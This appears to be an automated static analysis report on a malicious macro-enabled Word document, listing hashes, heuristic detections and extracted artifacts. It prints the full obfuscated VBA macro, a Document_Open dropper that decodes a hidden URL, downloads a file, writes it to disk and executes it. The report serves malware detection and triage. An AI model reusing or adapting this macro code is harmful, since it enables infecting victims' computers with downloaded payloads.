Malicious Office (OOXML) / .DOCX — malware analysis report

Static analysis result for SHA-256 aa665eed7e59cdd9…

MALICIOUS

Office (OOXML) / .DOCX

246.4 KB Created: 2026-04-07 07:17:00 UTC Authoring application: Microsoft Office Word 14.0000 First seen: 2026-06-06
MD5: 36d60122bea3e39b7c9e235771fce8b3 SHA-1: 3f973574bac81f7ce89739e687e63fc422511e7c SHA-256: aa665eed7e59cdd9006275c39d8d337bec4d3eaddc7a7d4621f4028a196918e7
250 Risk Score

Heuristics 8

  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
        Set WioufTnl = CreateObject("WScript.Shell")
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
    LUhIdHgyJyvpHEcLVcXkABWYiFnPgMSmujOKKJOzszeEqGJMEdGlUQFZQHUfNNBnOlxLtKwAbOLFXUsNmsoADRnpyIDh = CwmRbbZfPIPuHGWZdUtIBlTVqSXlvQeRDfBAcJbMQrRdWpmIeCvrCTjErBYTxzfzFNCirsqvSYgKXWnr.responseBody
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set WioufTnl = CreateObject("WScript.Shell")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas Referenced by macro
    • http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
    • http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 6717 bytes
SHA-256: 7cbb9c88e810f8b8f595b3c1f47ea45e15c5acae0a47d4d05c9f1a45d9b5949b
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
Dim KKJOzszeEqGJMEdGlUQFZQHUfNNBnOlxLtKwAbOLFXUsNmsoADRnpyIDhwOjCwmRbbZfPIPuHGWZdUtIBlTVqSXlvQ As Integer
KKJOzszeEqGJMEdGlUQFZQHUfNNBnOlxLtKwAbOLFXUsNmsoADRnpyIDhwOjCwmRbbZfPIPuHGWZdUtIBlTVqSXlvQ = Chr(50) + Chr(48) + Chr(48)
  Dim WioufTnl As Object
    Dim SpecialPath As String

    Set WioufTnl = CreateObject("WScript.Shell")
    SpecialPath = WioufTnl.SpecialFolders("Templates")
Dim yhuTTvDQsMrPhHitnFoLvFLHSkzGIRpkNPwCVeSyuutxjpwNonDtwoMqUSApJzqEOxxklLUhIdHgyJyvpHEcLV
Dim LUhIdHgyJyvpHEcLVcXkABWYiFnPgMSmujOKKJOzszeEqGJMEdGlUQFZQHUfNNBnOlxLtKwAbOLFXUsNmsoADRnpyIDh
Dim HGWZdUtIBlTVqSXlvQeRDfBAcJbMQrRdWpmIeCvrCTjErBYTxzfzFNCirsqvSYgKXWnrtlKYRCkmGjoByhuTTvDQsM
Dim AbOLFXUsNmsoADRnpyIDhwOjCwmRbbZfPIPuHGWZdUtIBlTVqSXlvQeRDfBAcJbMQrRdWpmIeCvrCTjErBYTxzfzFNCirsqvS
Dim gyJyvpHEcLVcXkABWYiFnPgMSmujOKKJOzszeEqGJMEdGlUQFZQHUfNNBnOlxLtKwAbOLFXUsNmsoADRnpy
Dim rPhHitnFoLvFLHSkzGIRpkNPwCVeSyuutxjpwNonDtwoMqUSApJzqEOxxklLUhIdHgyJyvpHEcLVcXkABWYiFnPgMSmujO As Integer
Dim CwmRbbZfPIPuHGWZdUtIBlTVqSXlvQeRDfBAcJbMQrRdWpmIeCvrCTjErBYTxzfzFNCirsqvSYgKXWnr
Dim cXkABWYiFnPgMSmujOKKJOzszeEqGJMEdGlUQFZQHUfNNBnOlxLtKwAbOLFXUsNmsoADRnpyIDhwOjCwmRbbZfPIPu
rPhHitnFoLvFLHSkzGIRpkNPwCVeSyuutxjpwNonDtwoMqUSApJzqEOxxklLUhIdHgyJyvpHEcLVcXkABWYiFnPgMSmujO = 1

KJOzszeEqGJMEdGlUQFZQHUfNNBnOlxLtKwAbOLFXUsNmsoADRnpyIDhwOjCwmRbbZfPIPuHGWZdUtIBlTV = "Please wait"
Selection.TypeText (KJOzszeEqGJMEdGlUQFZQHUfNNBnOlxLtKwAbOLFXUsNmsoADRnpyIDhwOjCwmRbbZfPIPuHGWZdUtIBlTV)
MsgBox "Please wait...."

Set CwmRbbZfPIPuHGWZdUtIBlTVqSXlvQeRDfBAcJbMQrRdWpmIeCvrCTjErBYTxzfzFNCirsqvSYgKXWnr = CreateObject("microsoft.xmlhttp")
Set gyJyvpHEcLVcXkABWYiFnPgMSmujOKKJOzszeEqGJMEdGlUQFZQHUfNNBnOlxLtKwAbOLFXUsNmsoADRnpy = CreateObject("Shell.Application")

AbOLFXUsNmsoADRnpyIDhwOjCwmRbbZfPIPuHGWZdUtIBlTVqSXlvQeRDfBAcJbMQrRdWpmIeCvrCTjErBYTxzfzFNCirsqvS = SpecialPath + JzqEOxxklLUhIdHgyJyvpHEcLVcXkABWYiFnPgMSmujOKKJOzszeEqGJMEdGlUQFZQHUfNNBnOlxLtKwAbOLFXUsNmsoADRnpyI("\XãRáR.ÂÛÂ")
CwmRbbZfPIPuHGWZdUtIBlTVqSXlvQeRDfBAcJbMQrRdWpmIeCvrCTjErBYTxzfzFNCirsqvSYgKXWnr.Open "get", JzqEOxxklLUhIdHgyJyvpHEcLVcXkABWYiFnPgMSmujOKKJOzszeEqGJMEdGlUQFZQHUfNNBnOlxLtKwAbOLFXUsNmsoADRnpyI("hÖÖÓÕ://jÕ-hÙÔlÄÅg.ÁÒm/wÓ-ÁÒÅÖÂÅÖÕ/wÓ-ÁÒÅÖÂÅÖÕ/ÁlmÅbvÁÛzbhÄÒÂÔÓghjkÙÄÒÓlkjÙÜÖgbÒÄÙÜÖÔÂwqÀÕdÃvÃÔÂÕwqÀzÛ/ÕÁÔÂÂÅ.ÂÛÂ"), False
CwmRbbZfPIPuHGWZdUtIBlTVqSXlvQeRDfBAcJbMQrRdWpmIeCvrCTjErBYTxzfzFNCirsqvSYgKXWnr.send
LUhIdHgyJyvpHEcLVcXkABWYiFnPgMSmujOKKJOzszeEqGJMEdGlUQFZQHUfNNBnOlxLtKwAbOLFXUsNmsoADRnpyIDh = CwmRbbZfPIPuHGWZdUtIBlTVqSXlvQeRDfBAcJbMQrRdWpmIeCvrCTjErBYTxzfzFNCirsqvSYgKXWnr.responseBody
If CwmRbbZfPIPuHGWZdUtIBlTVqSXlvQeRDfBAcJbMQrRdWpmIeCvrCTjErBYTxzfzFNCirsqvSYgKXWnr.Status = 200 Then
Set yhuTTvDQsMrPhHitnFoLvFLHSkzGIRpkNPwCVeSyuutxjpwNonDtwoMqUSApJzqEOxxklLUhIdHgyJyvpHEcLV = CreateObject("adodb.stream")
yhuTTvDQsMrPhHitnFoLvFLHSkzGIRpkNPwCVeSyuutxjpwNonDtwoMqUSApJzqEOxxklLUhIdHgyJyvpHEcLV.Open
yhuTTvDQsMrPhHitnFoLvFLHSkzGIRpkNPwCVeSyuutxjpwNonDtwoMqUSApJzqEOxxklLUhIdHgyJyvpHEcLV.Type = rPhHitnFoLvFLHSkzGIRpkNPwCVeSyuutxjpwNonDtwoMqUSApJzqEOxxklLUhIdHgyJyvpHEcLVcXkABWYiFnPgMSmujO
yhuTTvDQsMrPhHitnFoLvFLHSkzGIRpkNPwCVeSyuutxjpwNonDtwoMqUSApJzqEOxxklLUhIdHgyJyvpHEcLV.Write LUhIdHgyJyvpHEcLVcXkABWYiFnPgMSmujOKKJOzszeEqGJMEdGlUQFZQHUfNNBnOlxLtKwAbOLFXUsNmsoADRnpyIDh
yhuTTvDQsMrPhHitnFoLvFLHSkzGIRpkNPwCVeSyuutxjpwNonDtwoMqUSApJzqEOxxklLUhIdHgyJyvpHEcLV.SaveToFile AbOLFXUsNmsoADRnpyIDhwOjCwmRbbZfPIPuHGWZdUtIBlTVqSXlvQeRDfBAcJbMQrRdWpmIeCvrCTjErBYTxzfzFNCirsqvS, rPhHitnFoLvFLHSkzGIRpkNPwCVeSyuutxjpwNonDtwoMqUSApJzqEOxxklLUhIdHgyJyvpHEcLVcXkABWYiFnPgMSmujO + rPhHitnFoLvFLHSkzGIRpkNPwCVeSyuutxjpwNonDtwoMqUSApJzqEOxxklLUhIdHgyJyvpHEcLVcXkABWYiFnPgMSmujO
yhuTTvDQsMrPhHitnFoLvFLHSkzGIRpkNPwCVeSyuutxjpwNonDtwoMqUSApJzqEOxxklLUhIdHgyJyvpHEcLV.Close
End If
gyJyvpHEcLVcXkABWYiFnPgMSmujOKKJOzszeEqGJMEdGlUQFZQHUfNNBnOlxLtKwAbOLFXUsNmsoADRnpy.Open (AbOLFXUsNmsoADRnpyIDhwOjCwmRbbZfPIPuHGWZdUtIBlTVqSXlvQeRDfBAcJbMQrRdWpmIeCvrCTjErBYTxzfzFNCirsqvS)
End Sub

    Public Function JzqEOxxklLUhIdHgyJyvpHEcLVcXkABWYiFnPgMSmujOKKJOzszeEqGJMEdGlUQFZQHUfNNBnOlxLtKwAbOLFXUsNmsoADRnpyI(DhwOjCwmRbbZfPIPuHGWZdUtIBlTVqSXlvQeRDfBAcJbMQrRdWpmIeCvrCTjErBYTxzfzFNCirsqvSYgK)
        YgKXWnrtlKYRCkmGjoByhuTTvDQsMrPhHitnFoLvFLHSkzGIRpkNPwCVeSyuutxjpwNonDtwoMqUSApJzqEOxxklLUhIdHgyJ = " ?!@#$%^&*()_+|0123456789abcdefghijklmnopqrstuvwxyz.,-~ABCDEFGHIJKLMNOPQRSTUVWXYZ¿¡²³ÀÁÂÃÄÅÒÓÔÕÖÙÛÜàáâãäåض§Ú¥"
        yvpHEcLVcXkABWYiFnPgMSmujOKKJOzszeEqGJMEdGlUQFZQHUfNNBnOlxLtKwAbOLFXUsNmsoADRnpyIDhwOjC = " ¿¡@#$%^&*()_+|01²³456789ÀbÁdÂÃghÄjklmÅÒÓqÔÕÖÙvwÛÜz.,-~AàáâãFGHäJKåMNضQR§TÚVWX¥Z?!23acefinoprstuxyBCDEILOPSUY"
        For i = 1 To Len(DhwOjCwmRbbZfPIPuHGWZdUtIBlTVqSXlvQeRDfBAcJbMQrRdWpmIeCvrCTjErBYTxzfzFNCirsqvSYgK)
            wmRbbZfPIPuHGWZdUtIBlTVqSXlvQeRDfBAcJbMQrRdWpmIeCvrCTjErBYTxzfzFNCirsqvSYgKXWnrtlKYRCkmGjoByhuT = InStr(YgKXWnrtlKYRCkmGjoByhuTTvDQsMrPhHitnFoLvFLHSkzGIRpkNPwCVeSyuutxjpwNonDtwoMqUSApJzqEOxxklLUhIdHgyJ, Mid(DhwOjCwmRbbZfPIPuHGWZdUtIBlTVqSXlvQeRDfBAcJbMQrRdWpmIeCvrCTjErBYTxzfzFNCirsqvSYgK, i, 1))
            If wmRbbZfPIPuHGWZdUtIBlTVqSXlvQeRDfBAcJbMQrRdWpmIeCvrCTjErBYTxzfzFNCirsqvSYgKXWnrtlKYRCkmGjoByhuT > 0 Then
                TvDQsMrPhHitnFoLvFLHSkzGIRpkNPwCVeSyuutxjpwNonDtwoMqUSApJzqEOxxklLUhIdHgyJyvpHEcLVcXkABWYiFnPgMS = Mid(yvpHEcLVcXkABWYiFnPgMSmujOKKJOzszeEqGJMEdGlUQFZQHUfNNBnOlxLtKwAbOLFXUsNmsoADRnpyIDhwOjC, wmRbbZfPIPuHGWZdUtIBlTVqSXlvQeRDfBAcJbMQrRdWpmIeCvrCTjErBYTxzfzFNCirsqvSYgKXWnrtlKYRCkmGjoByhuT, 1)
                mujOKKJOzszeEqGJMEdGlUQFZQHUfNNBnOlxLtKwAbOLFXUsNmsoADRnpyIDhwOjCwmRbbZfPIPuHGWZ = mujOKKJOzszeEqGJMEdGlUQFZQHUfNNBnOlxLtKwAbOLFXUsNmsoADRnpyIDhwOjCwmRbbZfPIPuHGWZ + TvDQsMrPhHitnFoLvFLHSkzGIRpkNPwCVeSyuutxjpwNonDtwoMqUSApJzqEOxxklLUhIdHgyJyvpHEcLVcXkABWYiFnPgMS
            Else
                mujOKKJOzszeEqGJMEdGlUQFZQHUfNNBnOlxLtKwAbOLFXUsNmsoADRnpyIDhwOjCwmRbbZfPIPuHGWZ = mujOKKJOzszeEqGJMEdGlUQFZQHUfNNBnOlxLtKwAbOLFXUsNmsoADRnpyIDhwOjCwmRbbZfPIPuHGWZ + Mid(DhwOjCwmRbbZfPIPuHGWZdUtIBlTVqSXlvQeRDfBAcJbMQrRdWpmIeCvrCTjErBYTxzfzFNCirsqvSYgK, i, 1)
            End If
        Next
        JzqEOxxklLUhIdHgyJyvpHEcLVcXkABWYiFnPgMSmujOKKJOzszeEqGJMEdGlUQFZQHUfNNBnOlxLtKwAbOLFXUsNmsoADRnpyI = mujOKKJOzszeEqGJMEdGlUQFZQHUfNNBnOlxLtKwAbOLFXUsNmsoADRnpyIDhwOjCwmRbbZfPIPuHGWZ
    End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 15360 bytes
SHA-256: 36a3d90cfd63763f959883e9f1c8117f1dea9f28eaceb140f2e079a9d18b16cd
Detection
ClamAV: No threats found
Obfuscation or payload: likely
100 of 164 identifiers look randomly generated (e.g. 'JzqEOxxklLUhIdHgyJyvpHEcLVcXkABWYiFnPgMS') — consistent with name-mangling obfuscation.

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